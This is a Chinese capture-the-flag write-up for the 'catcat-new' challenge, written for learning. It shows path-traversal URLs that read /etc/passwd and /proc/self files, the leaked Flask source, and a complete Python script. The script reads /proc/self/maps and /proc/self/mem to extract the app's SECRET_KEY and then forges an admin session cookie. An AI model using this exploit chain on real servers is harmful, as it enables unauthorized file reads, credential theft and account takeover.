攻防世界:catcat-new

打开题目后发现没有文本输入框,F12后也没有在源代码中发现有效信息,只有上述四张图片内容能点进去

注意看URL栏,看来只能从URL下手了

先判断这个题目是不是关于任意文件读取漏洞,读一个Linux都有的文件/etc/passwd

http://61.147.171.105:60014/info?file=../../../../../etc/passwd

可以读取,这样看来这个题就是任意文件读取漏洞了

通过抓包发现Response中的Server是python,那说明该网站是有python运行的.既然是python,当前进程肯定是由python xxx.py启动的,只要能知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,/proc/self/cmdline,用于获取当前启动进程的完整命令。

大部分的python网站脚本名都是app.py

在读取文件时一定要注意文件路径

这是源代码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
 __name__,
 static_url_path='/', 
 static_folder='static' 
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" #SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
 flag = cat("/flag")
 os.remove("/flag") #这里读取flag后删掉了flag,防止之前任意文件读取出非预期解

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/')
 cats_list = []
 for i in detailtxt:
 cats_list.append(i[:i.index('.')])
 
 return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")
 start = request.args.get('start', "0")
 end = request.args.get('end', "0")
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
 
 return render_template("detail.html", catname=name, info=cat(filename, start, end)) #cat是上面引用进来的函数
 


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
 if session.get('admin') == 1: #session为admin就能得到flag,此处需要session伪造
 return flag
 else:
 session['admin'] = 0
 return "NoNoNo"



if __name__ == '__main__':
 app.run(host='0.0.0.0', debug=False, port=5637)

session伪造的必要条件是获取SECRET_KEY。python存储对象的位置在堆上。app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值.大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag.

import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:60014/"

# 此程序只能运行于Python3以上
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')


# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        # Encode a Flask session cookie
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e


# -------------------------------------------


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

# 设置session中admin的值为1
data = '{"admin":1}'
# 伪造session
headers = {
    "Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
except:
    print("Something error")

最终得到flag:

catctf{Catch_the_c4t_HaHa}

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值